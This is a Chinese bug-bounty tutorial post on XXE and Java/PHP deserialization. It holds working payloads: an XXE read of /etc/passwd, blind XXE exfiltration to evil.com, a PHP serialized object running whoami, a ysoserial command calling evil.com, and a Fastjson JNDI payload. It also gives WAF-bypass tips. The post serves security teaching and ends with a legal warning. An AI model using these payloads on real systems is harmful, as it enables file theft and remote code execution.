【SRC漏洞挖掘系列】第09期:XXE与反序列化 —— 当XML和Java开始“吃”代码
上期回顾我们用 SSRF 借刀杀人打进了内网。本期难度直线上升我们将挑战两个让程序员闻风丧胆的“贵族漏洞”——XXE 和反序列化。这两个漏洞一旦爆发通常不是“拿个Shell”那么简单而是直接接管服务器集群。☠️一、XXEXML的“胃口”太大了1. 什么是 XXEXXE (XML External Entity Injection)即 XML 外部实体注入。想象一下你给服务器递了一张“菜单XML”服务器不仅照单全收还把你菜单里写的“去把老板保险柜密码念一遍” 也给执行了。核心痛点服务器解析 XML 时默认允许加载外部实体。2. 实战案例读取服务器密码很多老旧的 OA 系统、支付接口还在用 XML 传输数据。原始请求httpPOST /api/pay HTTP/1.1 Content-Type: application/xml user nameTom/name money100/money /user攻击 Payload?xml version1.0 encodingUTF-8? !DOCTYPE foo [ !ENTITY xxe SYSTEM file:///etc/passwd ] user namexxe;/name money100/money /user发生了什么!ENTITY xxe SYSTEM file:///etc/passwd定义了一个实体xxe内容是读取系统文件/etc/passwd。xxe;在 XML 中引用这个实体。结果服务器返回的数据里包含了 Linux 系统的所有用户账户信息。3. Blind XXE无回显的绝杀如果服务器不把解析结果显示在页面上怎么办把数据外带出去。攻击思路你有一台公网服务器evil.com。诱导目标服务器加载http://evil.com/?data读取到的机密文件。Payload 示意!ENTITY % file SYSTEM php://filter/readconvert.base64-encode/resource/etc/passwd !ENTITY % dtd !ENTITY #x25; exfiltrate SYSTEM http://evil.com/?data%file;二、反序列化给程序“下毒”1. 什么是反序列化序列化把对象Object变成字符串方便传输。反序列化把字符串变回对象恢复状态。漏洞原理你买了一盒乐高序列化数据说明书被坏人换成了“组装成炸弹”的步骤恶意构造的 Payload。你照着说明书拼结果家里炸了。2. PHP 反序列化魔术方法PHP 中有一些特殊的函数Magic Methods比如__wakeup()醒来时执行、__destruct()销毁时执行。危险代码class User { public $name; function __destruct() { system($this-name); // 销毁时执行系统命令 } }Payload 构造我们只需要构造一个字符串让$name等于whoami。O:4:User:1:{s:4:name;s:6:whoami;}结果程序结束时调用__destruct()执行了system(whoami)。3. Java 反序列化重灾区Java 的 Commons-Collections 组件曾经是“漏洞之王”。特点不需要懂代码直接用工具如ysoserial生成 Payload。java -jar ysoserial.jar CommonsCollections5 curl http://evil.com payload.bin把这个payload.bin发送给目标目标就会反向连接到你的服务器。三、SRC 实战中的“骚操作”漏洞类型利用难度危害程度常见位置XXE低高Office文档解析、SOAP接口、老旧支付PHP反序列化中极高缓存系统、Session、框架内核Java反序列化高毁灭级Weblogic, JBoss, FastjsonFastjson 案例曾经风靡一时的Fastjson 1.2.24。Payload 只需指定type服务器就会去加载你指定的恶意类。json{ type: com.sun.rowset.JdbcRowSetImpl, dataSourceName: ldap://evil.com/Exploit, autoCommit: true }四、绕过与防御简版XXE 绕过编码绕过使用 UTF-16BE 编码绕过 WAF 对!ENTITY的检测。内网攻击结合 SSRF利用 XXE 去攻击内网的 Redis。反序列化绕过白名单绕过寻找新的 Gadget利用链。长度绕过利用phar://协议触发反序列化。五、互动与思考 互动话题各位师傅你们在挖洞时遇到过“反序列化”漏洞吗是那种一打一个准的 Fastjson还是让人头秃的 PHP POP 链欢迎分享你的“链子”⛓️⚠️ 法律红线警示严禁在实际系统中尝试读取/etc/passwd或任何系统文件证明漏洞存在即可。严禁使用ysoserial或类似工具向未授权目标发送 Payload这属于非法入侵。严禁利用 XXE 探测内网或攻击 Redis除非是明确授权的靶场。测试原则XXE使用file:///etc/hostname或php://filter读取非敏感文件。反序列化仅测试是否存在报错回显不要执行系统命令。所有实验请在Vulhub 或本地 Docker 靶场中进行。代码审计是门艺术但利用漏洞必须是守法的行为。切勿以身试法。 ️下一期我们将进入“GraphQL API 安全”—— 现代 API 的那些坑”。想知道怎么用一条查询语句拖库吗敬请期待